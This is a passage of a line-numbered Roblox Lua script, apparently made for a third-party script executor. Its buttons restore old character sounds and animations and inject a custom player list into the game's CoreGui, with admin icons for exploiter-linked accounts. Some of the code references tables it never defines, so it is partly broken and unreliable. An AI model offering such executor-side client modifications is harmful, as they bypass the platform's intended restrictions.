  1316.             local out = {}
  1317.             for k, v in pairs(t) do
  1318.                 out[k] = v
  1319.             end
  1320.             return out
  1321.         end
  1322.    
  1323.         local function initializeSoundSystem(player, humanoid, rootPart)
  1324.             local sounds = {}
  1325.    
  1326.             -- initialize sounds
  1327.             for name, props in pairs(SOUND_DATA) do
  1328.                 local sound = Instance.new("Sound")
  1329.                 sound.Name = name
  1330.    
  1331.                 -- set default values
  1332.                 sound.Archivable = false
  1333.                 sound.EmitterSize = 5
  1334.                 sound.MaxDistance = 150
  1335.                 sound.Volume = 0.65
  1336.    
  1337.                 for propName, propValue in pairs(props) do
  1338.                     sound[propName] = propValue
  1339.                 end
  1340.    
  1341.                 sound.Parent = rootPart
  1342.                 sounds[name] = sound
  1343.             end
  1344.    
  1345.             local playingLoopedSounds = {}
  1346.    
  1347.             local function stopPlayingLoopedSounds(except)
  1348.                 for sound in pairs(shallowCopy(playingLoopedSounds)) do
  1349.                     if sound ~= except then
  1350.                         sound.Playing = false
  1351.                         playingLoopedSounds[sound] = nil
  1352.                     end
  1353.                 end
  1354.             end
  1355.    
  1356.             -- state transition callbacks
  1357.             local stateTransitions = {
  1358.                 [Enum.HumanoidStateType.FallingDown] = function()
  1359.                     stopPlayingLoopedSounds()
  1360.                 end,
  1361.    
  1362.                 [Enum.HumanoidStateType.GettingUp] = function()
  1363.                     stopPlayingLoopedSounds()
  1364.                     playSound(sounds.GettingUp)
  1365.                 end,
  1366.    
  1367.                 [Enum.HumanoidStateType.Jumping] = function()
  1368.                     stopPlayingLoopedSounds()
  1369.                     playSound(sounds.Jumping)
  1370.                 end,
  1371.    
  1372.                 [Enum.HumanoidStateType.Swimming] = function()
  1373.                     local verticalSpeed = math.abs(rootPart.Velocity.Y)
  1374.                     if verticalSpeed > 0.1 then
  1375.                         sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
  1376.                         playSound(sounds.Splash)
  1377.                     end
  1378.                     stopPlayingLoopedSounds(sounds.Swimming)
  1379.                     sounds.Swimming.Playing = true
  1380.                     playingLoopedSounds[sounds.Swimming] = true
  1381.                 end,
  1382.    
  1383.                 [Enum.HumanoidStateType.Freefall] = function()
  1384.                     sounds.FreeFalling.Volume = 0
  1385.                     stopPlayingLoopedSounds(sounds.FreeFalling)
  1386.                     playingLoopedSounds[sounds.FreeFalling] = true
  1387.                 end,
  1388.    
  1389.                 [Enum.HumanoidStateType.Landed] = function()
  1390.                     stopPlayingLoopedSounds()
  1391.                     local verticalSpeed = math.abs(rootPart.Velocity.Y)
  1392.                     if verticalSpeed > 75 then
  1393.                         sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
  1394.                         playSound(sounds.Landing)
  1395.                     end
  1396.                 end,
  1397.    
  1398.                 [Enum.HumanoidStateType.Climbing] = function()
  1399.                     local sound = sounds.Climbing
  1400.                     if math.abs(rootPart.Velocity.Y) > 0.1 then
  1401.                         sound.Playing = true
  1402.                         stopPlayingLoopedSounds(sound)
  1403.                     else
  1404.                         stopPlayingLoopedSounds()
  1405.                     end
  1406.                     playingLoopedSounds[sound] = true
  1407.                 end,
  1408.    
  1409.                 [Enum.HumanoidStateType.Seated] = function()
  1410.                     stopPlayingLoopedSounds()
  1411.                 end,
  1412.    
  1413.                 [Enum.HumanoidStateType.Dead] = function()
  1414.                     stopPlayingLoopedSounds()
  1415.                     playSound(sounds.Died)
  1416.                 end,
  1417.             }
  1418.    
  1419.             -- updaters for looped sounds
  1420.             local loopedSoundUpdaters = {
  1421.                 [sounds.Climbing] = function(dt, sound, vel)
  1422.                     sound.Playing = vel.Magnitude > 0.1
  1423.                 end,
  1424.    
  1425.                 [sounds.FreeFalling] = function(dt, sound, vel)
  1426.                     if vel.Magnitude > 75 then
  1427.                         sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
  1428.                     else
  1429.                         sound.Volume = 0
  1430.                     end
  1431.                 end,
  1432.    
  1433.    
  1434.             }
  1435.    
  1436.             -- state substitutions to avoid duplicating entries in the state table
  1437.             local stateRemap = {
  1438.                 [Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
  1439.             }
  1440.    
  1441.             local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
  1442.    
  1443.             local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
  1444.                 state = stateRemap[state] or state
  1445.    
  1446.                 if state ~= activeState then
  1447.                     local transitionFunc = stateTransitions[state]
  1448.    
  1449.                     if transitionFunc then
  1450.                         transitionFunc()
  1451.                     end
  1452.    
  1453.                     activeState = state
  1454.                 end
  1455.             end)
  1456.    
  1457.             local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
  1458.                 -- update looped sounds on stepped
  1459.                 for sound in pairs(playingLoopedSounds) do
  1460.                     local updater = loopedSoundUpdaters[sound]
  1461.    
  1462.                     if updater then
  1463.                         updater(worldDt, sound, rootPart.Velocity)
  1464.                     end
  1465.                 end
  1466.             end)
  1467.    
  1468.             local humanoidAncestryChangedConn
  1469.             local rootPartAncestryChangedConn
  1470.             local characterAddedConn
  1471.    
  1472.             local function terminate()
  1473.                 stateChangedConn:Disconnect()
  1474.                 steppedConn:Disconnect()
  1475.                 humanoidAncestryChangedConn:Disconnect()
  1476.                 rootPartAncestryChangedConn:Disconnect()
  1477.                 characterAddedConn:Disconnect()
  1478.             end
  1479.    
  1480.             humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
  1481.                 if not parent then
  1482.                     terminate()
  1483.                 end
  1484.             end)
  1485.    
  1486.             rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
  1487.                 if not parent then
  1488.                     terminate()
  1489.                 end
  1490.             end)
  1491.    
  1492.             characterAddedConn = player.CharacterAdded:Connect(terminate)
  1493.         end
  1494.    
  1495.         local function playerAdded(player)
  1496.             local function characterAdded(character)
  1497.                 -- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:
  1498.                 -- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.
  1499.                 -- ** must use a waitForFirst on everything and listen for hierarchy changes.
  1500.                 -- * the character might not be in the dm by the time CharacterAdded fires
  1501.                 -- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again
  1502.                 -- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.
  1503.                 -- * RootPart probably won't exist immediately.
  1504.                 -- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.
  1505.    
  1506.                 if not character.Parent then
  1507.                     waitForFirst(character.AncestryChanged, player.CharacterAdded)
  1508.                 end
  1509.    
  1510.                 if player.Character ~= character or not character.Parent then
  1511.                     return
  1512.                 end
  1513.    
  1514.                 local humanoid = character:FindFirstChildOfClass("Humanoid")
  1515.                 while character:IsDescendantOf(game) and not humanoid do
  1516.                     waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)
  1517.                     humanoid = character:FindFirstChildOfClass("Humanoid")
  1518.                 end
  1519.    
  1520.                 if player.Character ~= character or not character:IsDescendantOf(game) then
  1521.                     return
  1522.                 end
  1523.    
  1524.                 -- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals
  1525.                 local rootPart = character:FindFirstChild("HumanoidRootPart")
  1526.                 while character:IsDescendantOf(game) and not rootPart do
  1527.                     waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)
  1528.                     rootPart = character:FindFirstChild("HumanoidRootPart")
  1529.                 end
  1530.    
  1531.                 if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then
  1532.                     initializeSoundSystem(player, humanoid, rootPart)
  1533.                 end
  1534.             end
  1535.    
  1536.             if player.Character then
  1537.                 characterAdded(player.Character)
  1538.             end
  1539.             player.CharacterAdded:Connect(characterAdded)
  1540.         end
  1541.    
  1542.         Players.PlayerAdded:Connect(playerAdded)
  1543.         for _, player in ipairs(Players:GetPlayers()) do
  1544.             playerAdded(player)
  1545.         end
  1546.    
  1547.         end)
  1548. end
  1549. coroutine.wrap(GQEFNE_fake_script)()
  1550. local function EJAJAVZ_fake_script() -- oldanim.LocalScript
  1551.     local script = Instance.new('LocalScript', oldanim)
  1552.  
  1553.     script.Parent.MouseButton1Click:Connect(function()
  1554.         if game.PlaceId == 445664957 then
  1555.             return;
  1556.         end
  1557.    
  1558.         local player = game:GetService("Players").LocalPlayer
  1559.         repeat wait() until game.Players.LocalPlayer.Character
  1560.         Char = game.Players.LocalPlayer.Character or player.CharacterAdded:Wait()
  1561.    
  1562.    
  1563.         if Char.Humanoid.RigType == Enum.HumanoidRigType.R6 == true then
  1564.    
  1565.             game.Players.LocalPlayer.Character:BreakJoints()
  1566.             game.Players.LocalPlayer.Character=nil
  1567.             Connection = game.Workspace.DescendantAdded:Connect(function(c)
  1568.                 if c.Name == "Animate" then
  1569.                     c.Disabled=true        
  1570.                 end
  1571.             end)
  1572.    
  1573.             function waitForChild(parent, childName)
  1574.                 local child = parent:findFirstChild(childName)
  1575.                 if child then return child end
  1576.                 while true do
  1577.                     child = parent.ChildAdded:wait()
  1578.                     if child.Name==childName then return child end
  1579.                 end
  1580.             end
  1581.    
  1582.             repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil
  1583.    
  1584.             Died = game.Players.LocalPlayer.Character:waitForChild("Humanoid").Died:Connect(function()
  1585.                 Connection:Disconnect()
  1586.                 Died:Disconnect()
  1587.             end)
  1588.             wait(.1)
  1589.    
  1590.             -- ANIMATION
  1591.    
  1592.             -- declarations
  1593.    
  1594.             local Figure = game.Players.LocalPlayer.Character
  1595.             local Torso = waitForChild(Figure, "Torso")
  1596.             local RightShoulder = waitForChild(Torso, "Right Shoulder")
  1597.             local LeftShoulder = waitForChild(Torso, "Left Shoulder")
  1598.             local RightHip = waitForChild(Torso, "Right Hip")
  1599.             local LeftHip = waitForChild(Torso, "Left Hip")
  1600.             local Neck = waitForChild(Torso, "Neck")
  1601.             local Humanoid = waitForChild(Figure, "Humanoid")
  1602.             local pose = "Standing"
  1603.    
  1604.             local toolAnim = "None"
  1605.             local toolAnimTime = 0
  1606.    
  1607.             local jumpMaxLimbVelocity = 0.75
  1608.    
  1609.             -- functions
  1610.    
  1611.             function onRunning(speed)
  1612.                 if speed>0 then
  1613.                     pose = "Running"
  1614.                 else
  1615.                     pose = "Standing"
  1616.                 end
  1617.             end
  1618.    
  1619.             function onDied()
  1620.                 pose = "Dead"
  1621.             end
  1622.    
  1623.             function onJumping()
  1624.                 pose = "Jumping"
  1625.             end
  1626.    
  1627.             function onClimbing()
  1628.                 pose = "Climbing"
  1629.             end
  1630.    
  1631.             function onGettingUp()
  1632.                 pose = "GettingUp"
  1633.             end
  1634.    
  1635.             function onFreeFall()
  1636.                 pose = "FreeFall"
  1637.             end
  1638.    
  1639.             function onFallingDown()
  1640.                 pose = "FallingDown"
  1641.             end
  1642.    
  1643.             function onSeated()
  1644.                 pose = "Seated"
  1645.             end
  1646.    
  1647.             function onPlatformStanding()
  1648.                 pose = "PlatformStanding"
  1649.             end
  1650.    
  1651.             function onSwimming(speed)
  1652.                 if speed>0 then
  1653.                     pose = "Running"
  1654.                 else
  1655.                     pose = "Standing"
  1656.                 end
  1657.             end
  1658.    
  1659.             function moveJump()
  1660.                 RightShoulder.MaxVelocity = jumpMaxLimbVelocity
  1661.                 LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
  1662.                 RightShoulder:SetDesiredAngle(3.14)
  1663.                 LeftShoulder:SetDesiredAngle(-3.14)
  1664.                 RightHip:SetDesiredAngle(0)
  1665.                 LeftHip:SetDesiredAngle(0)
  1666.             end
  1667.    
  1668.    
  1669.             -- same as jump for now
  1670.    
  1671.             function moveFreeFall()
  1672.                 RightShoulder.MaxVelocity = jumpMaxLimbVelocity
  1673.                 LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
  1674.                 RightShoulder:SetDesiredAngle(3.14)
  1675.                 LeftShoulder:SetDesiredAngle(-3.14)
  1676.                 RightHip:SetDesiredAngle(0)
  1677.                 LeftHip:SetDesiredAngle(0)
  1678.             end
  1679.    
  1680.             function moveSit()
  1681.                 RightShoulder.MaxVelocity = 0.15
  1682.                 LeftShoulder.MaxVelocity = 0.15
  1683.                 RightShoulder:SetDesiredAngle(3.14 /2)
  1684.                 LeftShoulder:SetDesiredAngle(-3.14 /2)
  1685.                 RightHip:SetDesiredAngle(3.14 /2)
  1686.                 LeftHip:SetDesiredAngle(-3.14 /2)
  1687.             end
  1688.    
  1689.             function getTool()
  1690.                 for _, kid in ipairs(Figure:GetChildren()) do
  1691.                     if kid.className == "Tool" then return kid end
  1692.                 end
  1693.                 return nil
  1694.             end
  1695.    
  1696.             function getToolAnim(tool)
  1697.                 for _, c in ipairs(tool:GetChildren()) do
  1698.                     if c.Name == "toolanim" and c.className == "StringValue" then
  1699.                         return c
  1700.                     end
  1701.                 end
  1702.                 return nil
  1703.             end
  1704.    
  1705.             function animateTool()
  1706.    
  1707.                 if (toolAnim == "None") then
  1708.                     RightShoulder:SetDesiredAngle(1.57)
  1709.                     return
  1710.                 end
  1711.    
  1712.                 if (toolAnim == "Slash") then
  1713.                     RightShoulder.MaxVelocity = 0.5
  1714.                     RightShoulder:SetDesiredAngle(0)
  1715.                     return
  1716.                 end
  1717.    
  1718.                 if (toolAnim == "Lunge") then
  1719.                     RightShoulder.MaxVelocity = 0.5
  1720.                     LeftShoulder.MaxVelocity = 0.5
  1721.                     RightHip.MaxVelocity = 0.5
  1722.                     LeftHip.MaxVelocity = 0.5
  1723.                     RightShoulder:SetDesiredAngle(1.57)
  1724.                     LeftShoulder:SetDesiredAngle(1.0)
  1725.                     RightHip:SetDesiredAngle(1.57)
  1726.                     LeftHip:SetDesiredAngle(1.0)
  1727.                     return
  1728.                 end
  1729.             end
  1730.    
  1731.             function move(time)
  1732.                 local amplitude
  1733.                 local frequency
  1734.    
  1735.                 if (pose == "Jumping") then
  1736.                     moveJump()
  1737.                     return
  1738.                 end
  1739.    
  1740.                 if (pose == "FreeFall") then
  1741.                     moveFreeFall()
  1742.                     return
  1743.                 end
  1744.    
  1745.                 if (pose == "Seated") then
  1746.                     moveSit()
  1747.                     return
  1748.                 end
  1749.    
  1750.                 local climbFudge = 0
  1751.    
  1752.                 if (pose == "Running") then
  1753.                     if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then
  1754.                         RightShoulder.MaxVelocity = jumpMaxLimbVelocity
  1755.                     else  
  1756.                         RightShoulder.MaxVelocity = 0.15
  1757.                     end
  1758.                     if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then
  1759.                         LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
  1760.                     else  
  1761.                         LeftShoulder.MaxVelocity = 0.15
  1762.                     end
  1763.                     amplitude = 1
  1764.                     frequency = 9
  1765.                 elseif (pose == "Climbing") then
  1766.                     RightShoulder.MaxVelocity = 0.5
  1767.                     LeftShoulder.MaxVelocity = 0.5
  1768.                     amplitude = 1
  1769.                     frequency = 9
  1770.                     climbFudge = 3.14
  1771.                 else
  1772.                     amplitude = 0.1
  1773.                     frequency = 1
  1774.                 end
  1775.    
  1776.                 desiredAngle = amplitude * math.sin(time*frequency)
  1777.    
  1778.                 RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
  1779.                 LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
  1780.                 RightHip:SetDesiredAngle(-desiredAngle)
  1781.                 LeftHip:SetDesiredAngle(-desiredAngle)
  1782.    
  1783.    
  1784.                 local tool = getTool()
  1785.    
  1786.                 if tool then
  1787.    
  1788.                     animStringValueObject = getToolAnim(tool)
  1789.    
  1790.                     if animStringValueObject then
  1791.                         toolAnim = animStringValueObject.Value
  1792.                         -- message recieved, delete StringValue
  1793.                         animStringValueObject.Parent = nil
  1794.                         toolAnimTime = time + .3
  1795.                     end
  1796.    
  1797.                     if time > toolAnimTime then
  1798.                         toolAnimTime = 0
  1799.                         toolAnim = "None"
  1800.                     end
  1801.    
  1802.                     animateTool()
  1803.    
  1804.    
  1805.                 else
  1806.                     toolAnim = "None"
  1807.                     toolAnimTime = 0
  1808.                 end
  1809.             end
  1810.    
  1811.    
  1812.             -- connect events
  1813.    
  1814.             Humanoid.Died:connect(onDied)
  1815.             Humanoid.Running:connect(onRunning)
  1816.             Humanoid.Jumping:connect(onJumping)
  1817.             Humanoid.Climbing:connect(onClimbing)
  1818.             Humanoid.GettingUp:connect(onGettingUp)
  1819.             Humanoid.FreeFalling:connect(onFreeFall)
  1820.             Humanoid.FallingDown:connect(onFallingDown)
  1821.             Humanoid.Seated:connect(onSeated)
  1822.             Humanoid.PlatformStanding:connect(onPlatformStanding)
  1823.             Humanoid.Swimming:connect(onSwimming)
  1824.             -- main program
  1825.    
  1826.             local runService = game:service("RunService");
  1827.    
  1828.             while Figure.Parent~=nil do
  1829.                 local _, time = wait(0.1)
  1830.                 move(time)
  1831.             end
  1832.         end
  1833.         end)
  1834. end
  1835. coroutine.wrap(EJAJAVZ_fake_script)()
  1836. local function PLEGWK_fake_script() -- oldplrlist.LocalScript
  1837.     local script = Instance.new('LocalScript', oldplrlist)
  1838.  
  1839.     script.Parent.MouseButton1Click:Connect(function()
  1840.         if not game:IsLoaded() then
  1841.             game.Loaded:Wait()
  1842.         end
  1843.         wait(8)
  1844.         if game.CoreGui:FindFirstChild("ScreenGui") then              
  1845.             game.CoreGui.ScreenGui:Destroy()
  1846.         end      
  1847.    
  1848.         game:GetService("StarterGui"):SetCoreGuiEnabled("PlayerList", false) -- Ctrl+F "API DOCS" to get the docs
  1849.         local uieiie = Instance.new("ScreenGui",game.CoreGui)
  1850.    
  1851.    
  1852.         --settings.  Don't make these local.
  1853.         ALLOW_BC_ICONS = true -- Players' BC icons will be shown next to their names
  1854.         PRIMARY_LEADERSTATS_ENABLED = true -- Leaderstats will appear in large text under the player's name
  1855.         SHOW_PRIMARY_LEADERSTAT_NAMES = true -- Primary leaderstats will have their names shown next to them
  1856.         TEAMS_ENABLED = true -- Teams will appear.
  1857.    
  1858.         local c00lkidd5 = "14anz_exiled","riptoasterXD","007n7alt1","anzkidd","jeezsynapseihx","lordmuhamad"
  1859.    
  1860.         ADMINS =
  1861.             { -- add your name = 1 to get a star icon.  Add your name = image to get a custom icon.
  1862.                 evolving888 = "http://www.roblox.com/asset?id=148012526",
  1863.                 creepy333 = "http://www.roblox.com/asset?id=148012526",
  1864.                 enter777 = "http://www.roblox.com/asset?id=148012526",
  1865.                 c00lkidd5 = "https://www.roblox.com/asset?id=9262784513",
  1866.                 KanekiiiiianYT = "https://www.roblox.com/asset?id=1061142935",
  1867.             }
  1868.    
  1869.    
  1870.         ALIASES = {
  1871.             creepy333 = "Creepy",
  1872.             Minish1111 = "Minish",
  1873.         }
  1874.    
  1875.         -- API DOCS
  1876.         -- _G.PlayerListAPI:SetAllowBCIcons(true or false)
  1877.         -- :AddAdmin(String name, Optional Content customIcon, Optional Int customIconWidth)
  1878.         -- :RemoveAdmin(String name)
  1879.         -- :SetAlias(String name, String alias)
  1880.         -- :SetPlayerIsHidden(String name)
  1881.         -- :SetLabelColors(String playerName, Color3 backgroundColor, Color3 textColor)
  1882.         -- _G.ChatAPI:SendChat(String playername, String message, Color3 customcolor)
  1883.    
  1884.         for name,a in pairs(ADMINS) do
  1885.             ADMINS[name:lower()] = a
  1886.         end
  1887.         for name,a in pairs(CUSTOM_CHAT_COLORS) do
  1888.             CUSTOM_CHAT_COLORS[name:lower()] = a
  1889.         end
  1890.         for name,a in pairs(ALIASES) do
  1891.             ALIASES[name:lower()] = a
  1892.         end
  1893.         for name,a in pairs(HIDDEN_PLAYERS) do
  1894.             HIDDEN_PLAYERS[name:lower()] = a
  1895.         end
  1896.         for name,a in pairs(CUSTOM_LABEL_BACKGROUND_COLORS) do
  1897.             CUSTOM_LABEL_BACKGROUND_COLORS[name:lower()] = a
  1898.         end
  1899.         for name,a in pairs(CUSTOM_LABEL_NAME_COLORS) do
  1900.             CUSTOM_LABEL_NAME_COLORS[name:lower()] = a
  1901.         end
  1902.    
  1903.         function GetAliasOf(name)
  1904.             return ALIASES[name:lower()] or name
  1905.         end
  1906.    
  1907.         local export = {}
  1908.    
  1909.         export.SetAllowBCIcons = function(self, b)
  1910.             ALLOW_BC_ICONS = b
  1911.         end
  1912.    
  1913.         export.AddAdmin = function(self, name, customicon, customiconwidth)
  1914.             ADMINS[name:lower()] = customicon or 1
  1915.             ADMIN_ICON_WIDTHS[name:lower()] = customiconwidth or 16
  1916.         end
  1917.    
  1918.         export.RemoveAdmin = function(self, name)
  1919.             ADMINS[name:lower()] = 0
  1920.         end
  1921.    
  1922.         export.GetChatData = function(self)
  1923.             return ADMINS, CUSTOM_CHAT_COLORS, ALIASES
  1924.         end
  1925.    
  1926.         export.SetAlias = function(self, name, alias)
  1927.             if alias == "" or alias == nil then
  1928.                 ALIASES[name:lower()] = name
  1929.             else
  1930.                 ALIASES[name:lower()] = alias
  1931.             end
  1932.         end
  1933.    
  1934.         export.GetAlias = function(self, name)
  1935.             return GetAliasOf(name)
  1936.         end
  1937.    
  1938.         export.SetLabelColors = function(self, playerName, backgroundColor, textColor)
  1939.             CUSTOM_LABEL_BACKGROUND_COLORS[playerName:lower()] = backgroundColor
  1940.             CUSTOM_LABEL_NAME_COLORS[playerName:lower()] = textColor
  1941.         end
  1942.    
  1943.         export.SetPlayerIsHidden = function(self, name, bool)
  1944.             local current = not not HIDDEN_PLAYERS[name:lower()]
  1945.             local new = not not bool
  1946.             local changing = current ~= new
  1947.    
  1948.             HIDDEN_PLAYERS[name:lower()] = new
  1949.    
  1950.             if changing then
  1951.                 if new then
  1952.                     local existingPlayer = nil
  1953.    
  1954.                     for index, player in next, game.Players:GetPlayers() do
  1955.                         if player.Name:lower() == name:lower() then
  1956.                             existingPlayer = player
  1957.                             break
  1958.                         end
  1959.                     end
  1960.    
  1961.    
  1962.                     if existingPlayer ~= nil then
  1963.                         InsertPlayerFrame(existingPlayer)
  1964.                     end
  1965.                 elseif not new then
  1966.                     local existingPlayer = nil
  1967.    
  1968.                     for index, player in next, game.Players:GetPlayers() do
  1969.                         if player.Name:lower() == name:lower() then
  1970.                             existingPlayer = player
  1971.                             break
  1972.                         end
  1973.                     end
  1974.    
  1975.    
  1976.                     if existingPlayer ~= nil then
  1977.                         RemovePlayerFrame(existingPlayer)
  1978.                     end
  1979.                 end
  1980.             end
  1981.         end
  1982.    
  1983.         _G.PlayerListAPI = export
  1984.    
  1985.         local Images = {
  1986.             bottomDark = '94691904',
  1987.             bottomLight = '94691940',
  1988.             midDark = '94691980',
  1989.             midLight = '94692025',
  1990.             LargeDark = '96098866',
  1991.             LargeLight = '96098920',
  1992.             LargeHeader = '96097470',
  1993.             NormalHeader = '94692054',
  1994.             LargeBottom = '96397271',
  1995.             NormalBottom = '94754966',
  1996.             DarkBluePopupMid = '97114905',
  1997.             LightBluePopupMid = '97114905',
  1998.             DarkPopupMid = '97112126',
  1999.             LightPopupMid = '97109338',
  2000.             DarkBluePopupTop = '97114838',
  2001.             DarkBluePopupBottom = '97114758',
  2002.             DarkPopupBottom = '100869219',
  2003.             LightPopupBottom = '97109175',
  2004.         }
  2005.    
  2006.         local BASE_TWEEN = .25
  2007.    
  2008.         local MOUSE_HOLD_TIME = .15
  2009.         local MOUSE_DRAG_DISTANCE = 15
  2010.    
  2011.     --[[
  2012.         Generic object Create function, which I am using to create Gui's
  2013.         Thanks to Stravant!
  2014.     --]]
  2015.         local Obj = {}
  2016.         function Obj.Create(guiType)
  2017.             return function(data)
  2018.                 local obj = Instance.new(guiType)
  2019.                 for k, v in pairs(data) do
  2020.                     if type(k) == 'number' then
  2021.                         v.Parent = obj
  2022.                     else
  2023.                         obj[k] = v
  2024.                     end
  2025.                 end
  2026.                 return obj
  2027.             end
  2028.         end
  2029.    
  2030.     --[[
  2031.         makes a full sized background for a guiobject
  2032.         @Args:
  2033.         imgName     asset name of image to fill background
  2034.         @Return:    background gui object
  2035.     --]]
  2036.         function MakeBackgroundGuiObj(imgName)
  2037.             return Obj.Create'ImageLabel'
  2038.             {
  2039.                 Name = 'Background',
  2040.                 BackgroundTransparency = 1,
  2041.                 Image = imgName,
  2042.                 Position = UDim2.new(0, 0, 0, 0),
  2043.                 Size = UDim2.new(1,0,1,0),
  2044.             }
  2045.         end
  2046.         --[[ turns 255 integer color value to a color3 --]]
  2047.         function Color3I(r,g,b)
  2048.             return Color3.new(r/255,g/255,b/255)
  2049.         end
  2050.    
  2051.     --[[
  2052.         Gets correct icon for builder's club status to display by name
  2053.         @Args:
  2054.         membershipType      Enum of membership status
  2055.         @Return:            string of image asset
  2056.     --]]
  2057.         function getMembershipTypeIcon(membershipType,playerName)
  2058.             if ADMINS[string.lower(playerName)]~=nil then
  2059.                 if ADMINS[string.lower(playerName)] == 1 then
  2060.                     return "http://www.roblox.com/asset/?id=146188778"
  2061.                 else
  2062.                     local dat = ADMINS[string.lower(playerName)]
  2063.    
  2064.                     if type(dat) == "table" then
  2065.                         return dat[1]
  2066.                     elseif type(dat) == "string" then
  2067.                         return ADMINS[string.lower(playerName)]
  2068.                     else
  2069.                         return "http://www.roblox.com/asset/?id=146188778"
  2070.                     end
  2071.                 end
  2072.             elseif membershipType == Enum.MembershipType.None then
  2073.                 return ""
  2074.             elseif membershipType == Enum.MembershipType.BuildersClub then
  2075.                 return "rbxasset://textures/ui/TinyBcIcon.png"
  2076.             elseif membershipType == Enum.MembershipType.TurboBuildersClub then
  2077.                 return "rbxasset://textures/ui/TinyTbcIcon.png"
  2078.             elseif membershipType == Enum.MembershipType.OutrageousBuildersClub then
  2079.                 return "rbxasset://textures/ui/TinyObcIcon.png"
  2080.             else
  2081.                 error("Unknown membershipType" .. membershipType)
  2082.             end
  2083.         end
  2084.    
  2085.         local function getFriendStatusIcon(friendStatus)
  2086.             if friendStatus == Enum.FriendStatus.Unknown or friendStatus == Enum.FriendStatus.NotFriend then
  2087.                 return ""
  2088.             elseif friendStatus == Enum.FriendStatus.Friend then
  2089.                 return "http://www.roblox.com/asset/?id=99749771"
  2090.             elseif friendStatus == Enum.FriendStatus.FriendRequestSent then
  2091.                 return "http://www.roblox.com/asset/?id=99776888"
  2092.             elseif friendStatus == Enum.FriendStatus.FriendRequestReceived then
  2093.                 return "http://www.roblox.com/asset/?id=99776838"
  2094.             else
  2095.                 error("Unknown FriendStatus: " .. friendStatus)
  2096.             end
  2097.         end
  2098.    
  2099.    
  2100.     --[[
  2101.         Utility function to create buttons for the popup menus
  2102.         @Args:
  2103.         nparent     what to parent this button to
  2104.         ntext       text to put on this button
  2105.         index       number index of this entry in menu
  2106.         last        is this the last element of the popup menu
  2107.         @Return:    a popup menu button
  2108.     --]]
  2109.         function MakePopupButton(nparent,ntext,index,last)
  2110.             local tobj = Obj.Create"ImageButton"
  2111.             {
  2112.                 Name = 'ReportButton',
  2113.                 BackgroundTransparency = 1,
  2114.                 Position = UDim2.new(0,0,1*index,0),
  2115.                 Size = UDim2.new(1, 0, 1, 0),
  2116.                 ZIndex=7,
  2117.                 Obj.Create'TextLabel'
  2118.                 {
  2119.                     Name = 'ButtonText',
  2120.                     BackgroundTransparency = 1,
  2121.                     Position = UDim2.new(.07, 0, .07, 0),
  2122.                     Size = UDim2.new(.86,0,.86,0),
  2123.                     Parent = HeaderFrame,
  2124.                     Font = 'ArialBold',
  2125.                     Text = ntext,
  2126.                     FontSize = 'Size14',
  2127.                     TextScaled = true,
  2128.                     TextColor3 = Color3.new(1,1,1),
  2129.                     TextStrokeTransparency = 1,
  2130.                     ZIndex=7,
  2131.                 },
  2132.                 Parent = nparent,
  2133.             }
  2134.             if index==0 then
  2135.                 tobj.Image = 'http://www.roblox.com/asset/?id=97108784'
  2136.             elseif last then
  2137.                 if index%2==1 then
  2138.                     tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['LightPopupBottom']
  2139.                 else
  2140.                     tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['DarkPopupBottom']
  2141.                 end
  2142.             else
  2143.                 if index%2==1 then
  2144.                     tobj.Image = 'http://www.roblox.com/asset/?id=97112126'
  2145.                 else
  2146.                     tobj.Image = 'http://www.roblox.com/asset/?id=97109338'
  2147.                 end
  2148.             end
  2149.             return tobj
  2150.         end
  2151.    
  2152.    
  2153.     --[[
  2154.         obligatory wait for child function
  2155.         @Args:
  2156.         parent      Parent object to look for child in
  2157.         child       name of child object to look for
  2158.         @Return: object waited for
  2159.     --]]
  2160.         function WaitForChild(parent,child)
  2161.             while not parent:FindFirstChild(child) do
  2162.                 wait() debugprint(" child "..parent.Name.." waiting for "..child)
  2163.             end
  2164.             return parent[child]
  2165.         end
  2166.    
  2167.         ---------------------------  
  2168.         -- Workspace Objects
  2169.         ---------------------------
  2170.    
  2171.         -- might want to move all this to an init function, wait for localplayer elsewhere
  2172.         local Players = game:GetService('Players')
  2173.         -- make sure this doesn't run on the server(it will if you dont do this)
  2174.         while not Players.LocalPlayer do
  2175.             Players.Changed:wait()
  2176.         end
  2177.    
  2178.         local LocalPlayer = Players.LocalPlayer
  2179.         local Mouse = LocalPlayer:GetMouse()
  2180.    
  2181.         local ScreenGui = Obj.Create"Frame"
  2182.         {
  2183.             Name = 'PlayerListScreen',
  2184.             Size = UDim2.new(1, 0, 1, 0),
  2185.             BackgroundTransparency = 1,
  2186.             Parent = uieiie
  2187.         }
  2188.         local MainFrame = Obj.Create"Frame"
  2189.         {
